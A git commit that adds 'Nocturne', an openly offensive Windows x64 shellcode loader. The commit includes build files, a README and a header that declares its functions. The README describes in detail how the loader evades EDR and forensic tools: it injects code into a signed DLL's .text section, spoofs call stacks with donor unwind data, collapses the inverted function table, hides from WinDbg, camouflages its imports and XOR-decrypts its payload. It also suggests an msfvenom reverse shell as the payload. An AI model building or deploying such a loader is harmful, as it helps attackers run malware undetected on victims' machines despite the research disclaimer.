Initial commit

This commit is contained in:
Xec412
2026-07-26 18:42:28 +03:00
commit 200d69b3b1
28 changed files with 4995 additions and 0 deletions
+30
View File
@@ -0,0 +1,30 @@
# Build outputs
Debug/
Release/
x64/
*.obj
*.exe
*.pdb
*.ilk
*.log
*.tlog/
# Visual Studio
.vs/
*.user
*.suo
*.ncb
*.sdf
*.opensdf
*.VC.db
*.VC.opendb
ipch/
# Binaries
*.dll
*.lib
*.exp
# Shellcode / payload artifacts
*.bin
*.raw
+7
View File
@@ -0,0 +1,7 @@
<Solution>
<Configurations>
<Platform Name="x64" />
<Platform Name="x86" />
</Configurations>
<Project Path="Nocturne.vcxproj" Id="5713291f-3c16-42a4-b5ed-ba1d37cc6bfc" />
</Solution>
+193
View File
@@ -0,0 +1,193 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>18.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{5713291f-3c16-42a4-b5ed-ba1d37cc6bfc}</ProjectGuid>
<RootNamespace>Nocturne</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v145</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v145</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v145</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v145</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Manifest>
<EnableSegmentHeap>true</EnableSegmentHeap>
</Manifest>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<Manifest>
<EnableSegmentHeap>true</EnableSegmentHeap>
</Manifest>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<ExceptionHandling>false</ExceptionHandling>
<AdditionalIncludeDirectories>$(ProjectDir)include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>main</EntryPointSymbol>
</Link>
<Manifest>
<EnableSegmentHeap>true</EnableSegmentHeap>
</Manifest>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<WholeProgramOptimization>false</WholeProgramOptimization>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<AdditionalIncludeDirectories>$(ProjectDir)include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>main</EntryPointSymbol>
</Link>
<Manifest>
<EnableSegmentHeap>true</EnableSegmentHeap>
</Manifest>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Context.cpp" />
<ClCompile Include="src\Debug.cpp" />
<ClCompile Include="src\Intrinsic.cpp" />
<ClCompile Include="src\Main.cpp" />
<ClCompile Include="src\Proxy.cpp" />
<ClCompile Include="src\Resolver.cpp" />
<ClCompile Include="src\StackSpoofing.cpp" />
<ClCompile Include="src\StackUtils.cpp" />
<ClCompile Include="src\Unwind.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="include\Common.h" />
<ClInclude Include="include\Debug.h" />
<ClInclude Include="include\IatCamouflage.h" />
<ClInclude Include="include\InitializeAPI.h" />
<ClInclude Include="include\Primitives.h" />
<ClInclude Include="include\Structs.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="src\ApiStub.asm" />
<MASM Include="src\SetRegister.asm">
<FileType>Document</FileType>
</MASM>
<MASM Include="src\ShadowGate.asm" />
<MASM Include="src\StackSearch.asm" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
+80
View File
@@ -0,0 +1,80 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Debug.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Proxy.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Resolver.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="StackUtils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Unwind.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Context.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="StackSpoofing.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Intrinsic.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\..\OneDrive\Desktop\Desktop\Structs\Structs.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Primitives.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Debug.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="InitializeAPI.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="IatCamouflage.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="SetRegister.asm">
<Filter>Source Files</Filter>
</MASM>
<MASM Include="StackSearch.asm">
<Filter>Source Files</Filter>
</MASM>
<MASM Include="ShadowGate.asm">
<Filter>Source Files</Filter>
</MASM>
<MASM Include="ApiStub.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>
+174
View File
@@ -0,0 +1,174 @@
<div align="center">
# 🌙 Nocturne
### CET-Compatible Stack Spoofing Loader
A Windows x64 loader that achieves **legitimate call stacks** through runtime function table manipulation, code cave injection, and inverted function table collapse — fully compatible with Intel CET Shadow Stacks.
[![Windows](https://img.shields.io/badge/Platform-Windows%20x64-blue?style=flat-square&logo=windows)](https://microsoft.com)
[![C++20](https://img.shields.io/badge/Language-C++20-purple?style=flat-square&logo=cplusplus)](https://isocpp.org)
[![MASM](https://img.shields.io/badge/Assembly-MASM%20x64-red?style=flat-square)](https://learn.microsoft.com/en-us/cpp/assembler/masm/masm-for-x64-ml64-exe)
[![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)](LICENSE)
</div>
---
## Overview
Nocturne is a research-oriented Windows x64 shellcode loader built around a single goal: producing **clean, fully backed call stacks** that are indistinguishable from legitimate Windows threads — even under manual forensic inspection with WinDbg.
Modern EDR solutions and manual analysts rely on call stack integrity as a primary detection signal. Unbacked return addresses, misaligned frames, and dynamic function table artifacts are all strong indicators of malicious activity. Traditional stack spoofing techniques address some of these, but they break under **Intel CET (Control-flow Enforcement Technology)** shadow stack validation, where the hardware maintains a separate, read-only copy of return addresses that must match the software stack.
Nocturne solves this by taking a fundamentally different approach: instead of fabricating fake frames, it **injects code into a legitimate module's `.text` section** and registers a `RUNTIME_FUNCTION` entry with **real donor unwind metadata** from that module. The Windows unwinder then walks the stack using genuine unwind info, producing frames that point back to a signed, backed DLL (`windows.storage.dll`). Because the code physically resides within the module's address range and the unwind chain is structurally valid, both software-based stack walks and CET hardware validation see a legitimate call chain.
The loader is built entirely **CRT-free** (`/NODEFAULTLIB`) with a custom entry point, custom `memset`/`memcpy` intrinsics, and `HeapAlloc`/`HeapFree` operator overrides — no C runtime dependency in the final binary. All Win32 and NT API resolution happens at runtime through **compile-time DJB2 hashing** (`constexpr`): the hash values are computed during compilation and embedded as immediate constants, while the actual function pointers are resolved at runtime by walking PEB loader data structures. This means zero API name strings exist in the binary, and the IAT contains only benign camouflage imports.
> [!IMPORTANT]
> The payload exits immediately after execution, so short-lived shellcode (e.g. `calc.exe` launcher) will terminate before you can inspect the call stack. To properly analyze the spoofed stack, use a **persistent payload** such as an `msfvenom` reverse shell or a long-lived beacon — anything that keeps the thread alive long enough for manual inspection with WinDbg or Process Hacker.
---
## Techniques & Why They Were Chosen
### 🔧 API Hash Resolution (DJB2)
All Win32/NT APIs are resolved at runtime by walking the PEB loader data structures and matching export names against precomputed DJB2 hashes. The hashes are generated at **compile time** using `constexpr` evaluation — the compiler computes each hash and embeds it as an immediate constant in the binary. At runtime, the resolver iterates the target module's export table and compares each export name's hash against the embedded constant. This eliminates IAT entries that would otherwise reveal the loader's true capabilities to static analysis tools, and ensures no API name strings are present in the binary.
### 🎭 IAT Camouflage
The Import Address Table is populated exclusively with **benign USER32.dll imports** (`MessageBoxA`, `RegisterClassW`, `IsWindowVisible`, etc.) placed inside an unreachable code branch. Static analysis tools see a harmless GUI application rather than a loader.
<div align="center">
<img src="docs/screenshots/IatCamouflage.png" alt="IAT Camouflage — Only benign imports visible" width="700"/>
<br/>
<em>Clean IAT — only benign USER32.dll imports and heap management functions</em>
</div>
### 🛡️ CET-Compatible Stack Spoofing (RTFI + JIT)
This is Nocturne's core technique. The stack spoofing pipeline:
1. **Sacrificial DLL Loading**`windows.storage.dll` is loaded as the donor module
2. **Code Cave Injection** — Payload + ShadowGate stub are injected into `.text` section slack space
3. **Dynamic Function Table Registration**`RtlAddFunctionTable` registers a `RUNTIME_FUNCTION` entry pointing to **donor unwind info**, making the injected code appear as a legitimate function within the module
4. **Inverted Function Table Collapse** — The internal `RtlpInvertedFunctionTable` entry for the donor module is collapsed so the dynamic table takes priority during unwinding
5. **Cache Invalidation** — Both the function table cache and function entry cache are flushed to force the unwinder through the manipulated lookup path
6. **Type=0 WinDbg Bypass** — The dynamic function table entry type is patched from `RF_CALLBACK` to `RF_SORTED`, preventing WinDbg from resolving it as dynamic
7. **`.pdata` Suppression** — The donor module's `.pdata` section protection is set to `PAGE_NOACCESS`, forcing all unwind lookups through the controlled dynamic table
The result: every frame in the call stack resolves to `windows_storage!<function>` — a legitimate, backed module.
<div align="center">
<img src="docs/screenshots/ProcessHacker.png" alt="Process Hacker — Clean call stack with windows.storage frames" width="700"/>
<br/>
<em>Process Hacker call stack — all frames resolve to windows.storage.dll</em>
</div>
<br/>
<div align="center">
<img src="docs/screenshots/WinDbg.png" alt="WinDbg — Spoofed stack trace" width="700"/>
<br/>
<em>WinDbg stack trace showing legitimate windows_storage frames</em>
</div>
### 🔍 WinDbg Bypass Verification
The dynamic function table entry is invisible to WinDbg's forensic commands. Type patching and `.pdata` suppression ensure that debugger analysis cannot distinguish the spoofed frames from real ones.
<div align="center">
<img src="docs/screenshots/BypassWinDbg.png" alt="WinDbg Bypass — Dynamic table hidden from debugger" width="700"/>
<br/>
<em>WinDbg bypass — .fnent shows donor unwind info, no dynamic table artifacts</em>
</div>
### 🔒 CRT-Free Build
The entire project compiles with `/NODEFAULTLIB` and a custom entry point. Memory management uses `HeapAlloc`/`HeapFree` through operator overrides. `memset` and `memcpy` are implemented as custom intrinsics. This eliminates CRT dependencies that would inflate the binary and add unnecessary attack surface.
### 🐚 Payload Execution
Shellcode is XOR-decrypted at runtime and executed through the **ShadowGate** assembly stub, which sets up the spoofed stack frame before transferring control.
<div align="center">
<img src="docs/screenshots/ReverseShell.png" alt="Reverse Shell — Payload executing with spoofed stack" width="700"/>
<br/>
<em>Reverse shell established with fully spoofed call stack</em>
</div>
---
## Build
Open `Nocturne.sln` in Visual Studio and build for **x64 Release** or **x64 Debug**.
| Configuration | Description |
|---|---|
| **Debug x64** | Console output enabled, `DEBUG` preprocessor defined |
| **Release x64** | Silent execution, no debug output |
> Both configurations use `/NODEFAULTLIB`, static CRT (`/MT`), no buffer security checks, and no C++ exceptions.
> [!NOTE]
> For production use, make sure the `DEBUG` preprocessor definition is **removed** from your build configuration. The Debug x64 preset defines it by default — switch to Release x64 or manually remove `_DEBUG` and `DEBUG` from **Project Properties → C/C++ → Preprocessor Definitions** to disable all console output.
---
## Project Structure
```
Nocturne/
├── include/
│ ├── Common.h # Global API struct & function declarations
│ ├── IatCamouflage.h # IAT camouflage with benign imports
│ ├── InitializeAPI.h # Runtime API resolution
│ ├── Primitives.h # Hash functions & utility macros
│ ├── Structs.h # NT structures & custom types
│ └── Debug.h # Debug console & print macros
├── src/
│ ├── Main.cpp # Entry point & orchestration
│ ├── StackSpoofing.cpp # Stack spoofing pipeline
│ ├── Unwind.cpp # Unwind info parsing & manipulation
│ ├── Context.cpp # Spoof context tracking & rollback
│ ├── Resolver.cpp # PEB walking & hash-based API resolution
│ ├── StackUtils.cpp # Stack origin & cookie detection
│ ├── Proxy.cpp # Thread pool proxied API calls
│ ├── Intrinsic.cpp # Custom memset/memcpy
│ ├── Debug.cpp # Debug console allocation
│ ├── ShadowGate.asm # Payload execution stub
│ ├── StackSearch.asm # Stack scanning primitives
│ ├── SetRegister.asm # Register manipulation
│ └── ApiStub.asm # Indirect syscall stubs
└── docs/
└── screenshots/
```
---
## References
- [klezVirus](https://github.com/klezVirus) — Original author of the BYOUD technique that Nocturne's stack spoofing is built upon
- [klezVirus/BYOUD](https://github.com/klezVirus/BYOUD) — Bring Your Own Unwind Data — the foundational research behind runtime function table manipulation
- [BYOUD Blog Post](https://klezvirus.github.io/posts/Byoud/) — Detailed technical writeup of the BYOUD technique
- [MalDev Academy](https://maldevacademy.com/) — Malware development techniques and methodology
- [Microsoft x64 Exception Handling](https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170) — Official documentation on x64 unwind info, `RUNTIME_FUNCTION`, and the exception handling ABI
- [Stack Spoofing — Black Hat Talk](https://www.youtube.com/watch?v=tOVcScKuJvU&t=847s) — Presentation on advanced stack spoofing techniques
- [Hiding in Plain Sight](https://0xdarkvortex.dev/hiding-in-plainsight/) — Thread stack spoofing and call stack manipulation research
---
## Disclaimer
This project is intended for **authorized security research and educational purposes only**. The author is not responsible for any misuse. Always obtain proper authorization before testing on systems you do not own.
---
<div align="center">
If you find this project useful or interesting, consider leaving a ⭐
Your support motivates further research and development.
</div>
Binary file not shown.

After

Width:  |  Height:  |  Size: 57 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

+355
View File
@@ -0,0 +1,355 @@
/* Common.h */
#pragma once
/* HEADER GUARD */
#ifndef COMMON_H
#define COMMON_H
#include <Windows.h>
#include "Structs.h"
/*================================================
@ WIN32_API Struct
================================================*/
struct WIN32_API {
struct {
NTSTATUS(NTAPI* RtlQueueWorkItem)(
_In_ WORKERCALLBACKFUNC Function,
_In_opt_ PVOID Context,
_In_ ULONG Flags
);
NTSTATUS(NTAPI* NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtWaitForSingleObject)(
_In_ HANDLE Handle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout
);
NTSTATUS(NTAPI* NtCreateEvent)(
_Out_ PHANDLE EventHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ EVENT_TYPE EventType,
_In_ BOOLEAN InitialState
);
NTSTATUS(NTAPI* NtSetEvent)(
_In_ HANDLE EventHandle,
_Out_opt_ PLONG PreviousState
);
BOOLEAN(NTAPI* RtlAddFunctionTable)(
_In_ PRUNTIME_FUNCTION FunctionTable,
_In_ ULONG EntryCount,
_In_ ULONG64 BaseAddress
);
BOOLEAN(NTAPI* RtlDeleteFunctionTable)(
_In_ PRUNTIME_FUNCTION FunctionTable
);
VOID(NTAPI* RtlAcquireSRWLockExclusive)(
_Inout_ PRTL_SRWLOCK SRWLock
);
VOID(NTAPI* RtlReleaseSRWLockExclusive)(
_Inout_ PRTL_SRWLOCK SRWLock
);
PEXCEPTION_ROUTINE(NTAPI* RtlVirtualUnwind)(
_In_ DWORD HandlerType,
_In_ DWORD64 ImageBase,
_In_ DWORD64 ControlPc,
_In_ PRUNTIME_FUNCTION FunctionEntry,
_Inout_ PCONTEXT ContextRecord,
_Out_ PVOID* HandlerData,
_Out_ PDWORD64 EstablisherFrame,
_Inout_opt_ PKNONVOLATILE_CONTEXT_POINTERS ContextPointers
);
PRUNTIME_FUNCTION(NTAPI* RtlLookupFunctionEntry)(
_In_ DWORD64 ControlPc,
_Out_ PDWORD64 ImageBase,
_Out_ PUNWIND_HISTORY_TABLE HistoryTable
);
} Nt;
struct {
DWORD(WINAPI* WaitForSingleObject)(
_In_ HANDLE hHandle,
_In_ DWORD dwMilliseconds
);
HMODULE(WINAPI* LoadLibraryW)(
_In_ LPCWSTR lpLibName
);
HMODULE(WINAPI* GetModuleHandleW)(
_In_opt_ LPCWSTR lpModuleName
);
} K32;
struct {
LSTATUS(WINAPI* RegOpenKeyExW)(
_In_ HKEY hKey,
_In_opt_ LPCWSTR lpSubKey,
_In_ DWORD ulOptions,
_In_ REGSAM samDesired,
_Out_ PHKEY phkResult
);
LSTATUS(WINAPI* RegQueryValueExW)(
_In_ HKEY hKey,
_In_opt_ LPCWSTR lpValueName,
LPDWORD lpReserved,
_Out_opt_ LPDWORD lpType,
_Out_opt_ LPBYTE lpData,
_Inout_opt_ LPDWORD lpcbData
);
LSTATUS(WINAPI* RegCloseKey) (
_In_ HKEY hKey
);
PVOID SystemFunction032;
} AdvApi32;
};
/* Global Object */
inline WIN32_API g_Win32{};
/* External assembly functions */
extern "C" ULONG_PTR CaptureStackPointer();
extern "C" ULONG_PTR ScanStackForValue(
_In_ ULONG_PTR uSearchValue,
OUT PULONG_PTR puFoundAddress
);
extern "C" ULONG_PTR ShadowGate(
_In_ PSHADOWGATE_PARAMS pShadowParams
);
extern "C" ULONG_PTR ShadowGateEnd();
/*================================================
@ Function Pointers
================================================*/
/* From Resolver.cpp */
namespace Resolver {
PVOID LdrGetModuleByHash(
_In_ ULONG uModuleHash
);
PVOID LdrGetSymbolByHash(
_In_ PVOID pModule,
_In_ ULONG uFunctionHash
);
VOID ResolveSectionInfo(
_In_ PVOID pModule,
_In_ PCHAR pcSectionName,
OUT PSECTION_INFO pSectionInfo
);
VOID ResolvePDataSectionInfo(
_In_ PVOID pModule,
OUT PSECTION_INFO pSectionInfo
);
VOID ResolveTextSectionInfo(
_In_ PVOID pModule,
OUT PSECTION_INFO pSectionInfo
);
PVOID ResolveExceptionDirectory(
_In_ PVOID pModule,
OUT PDWORD pdwDirSize
);
DWORD LocateCallInstructionOffset(
_In_ ULONG_PTR uStartAddress,
_In_ DWORD dwSearchLimit
);
}
/* From StackUtils.cpp */
namespace StackUtils {
ULONG_PTR ResolveThreadStackOrigin(
OUT PULONG_PTR puStackPointer
);
BOOL DetectStackCookiePresence(
_In_ PVOID pModule
);
}
/* From Unwind.cpp */
namespace Unwinder {
DWORD CalculateUnwindFrameSize(
_In_ PVOID pModule,
_In_ PVOID pUnwindInfo,
OUT PDWORD pdwTarget
);
PRUNTIME_FUNCTION FindDonorByFrameSize(
_In_ PVOID pModule,
_In_ DWORD dwFrameSize,
_In_ BOOL bStrict,
OUT PDWORD pdwActual
);
NTSTATUS UnlockPDataSection(
_In_ PVOID pModule
);
NTSTATUS LockPDataSection(
_In_ PVOID pModule
);
NTSTATUS UnlockTextSection(
_In_ PVOID pModule
);
NTSTATUS LockTextSection(
_In_ PVOID pModule
);
BOOL ResolveDynamicFunctionTablePtrs(
_In_ HANDLE hProcess,
OUT PULONG_PTR puHeadPtr,
OUT PULONG_PTR puSentinel
);
PDYNAMIC_FUNCTION_TABLE LocateDynamicFunctionTableEntry(
_In_ ULONG_PTR uAddress
);
BOOL LocateInvertedFunctionTable(
OUT PINVERTED_FUNCTION_TABLE* ppInvertedTable,
OUT PRTL_SRWLOCK* ppSrwLock
);
BOOL ResolveLdrMrdataProtector(
OUT fnLdrProtectMrdata* pOutFnPtr
);
BOOL CollapseInvertedTableEntry(
_In_ PVOID pModule,
OUT PULONG puOldSize
);
BOOL ExpandInvertedTableEntry(
_In_ PVOID pModule,
_In_ ULONG ulOldSize
);
BOOL AppendCodeToText(
_In_ PVOID pModule,
_In_ PVOID pCode,
_In_ DWORD dwCodeSize,
OUT PDWORD pdwBeginRva
);
DWORD ResolveFunctionSize(
_In_ PVOID pModule,
_In_ PVOID pFunction
);
}
/* From Context.cpp */
namespace ByoudContext {
VOID InitializeSpoofContext(
OUT PBYOUD_CONTEXT pByoudCtx,
_In_ DWORD dwTechnique,
_In_ PVOID pTarget
);
BOOL CommitSpoofChange(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PBYOUD_CHANGE pByoudChange
);
BOOL TrackCacheNullification(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ ULONG_PTR uAddress,
_In_ DWORD dwOld
);
BOOL TrackPDataProtection(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ PVOID pBase,
_In_ SIZE_T Size,
_In_ DWORD dwOldProtect
);
BOOL TrackInvertedTableCollapse(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ ULONG ulOldSize
);
BOOL TrackDynamicTableInsertion(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PRUNTIME_FUNCTION pRuntimeFunction
);
BOOL TrackDynamicTableTypeChange(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pEntry,
_In_ DWORD dwOldType
);
BOOL TrackShellcodeInjection(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ PVOID pAddress,
_In_ DWORD dwSize
);
BOOL RevertAllSpoofChanges(
_Inout_ PBYOUD_CONTEXT pByoudCtx
);
}
/* From StackSpoofing.cpp */
namespace StackSpoof {
BOOL FlushFunctionTableCache(
OUT PULONG_PTR puAddress,
OUT PDWORD pdwOld
);
BOOL FlushFunctionEntryCache(
OUT PULONG_PTR puAddress,
OUT PDWORD pdwOld
);
BOOL SuppressPDataAccess(
_In_ PVOID pModule,
OUT PDWORD pdwOldProtect
);
BOOL RestorePDataAccess(
_In_ PVOID pModule,
_In_ DWORD dwOldProtect
);
PSHADOWGATE_PARAMS ConstructShadowGateParams(
_In_ PVOID pFunction,
_In_ DWORD dwFrameSize,
_In_ ULONG_PTR Argc,
_In_ PULONG_PTR pArgv
);
PSHADOWGATE_PARAMS ConstructShadowGateParamsVa(
_In_ PVOID pFunction,
_In_ DWORD dwFrameSize,
_In_ ULONG_PTR Argc,
...
);
BOOL RegisterSpoofedRuntimeFunction(
_Inout_ PBYOUD_CONTEXT pByoudCtx,
_In_ PVOID pModule,
_In_ DWORD dwShcOffset,
_In_ DWORD dwShcSize,
_In_ DWORD dwDesired,
OUT PDWORD pdwActual
);
ULONG_PTR ExecuteWithSpoofedStack(
_In_ PVOID pPayload,
_In_ DWORD dwPayloadSize
);
}
/* From Proxy.cpp */
namespace Proxy {
PVOID WorkItemLoadLibrary(
_In_ PWSTR LibraryName
);
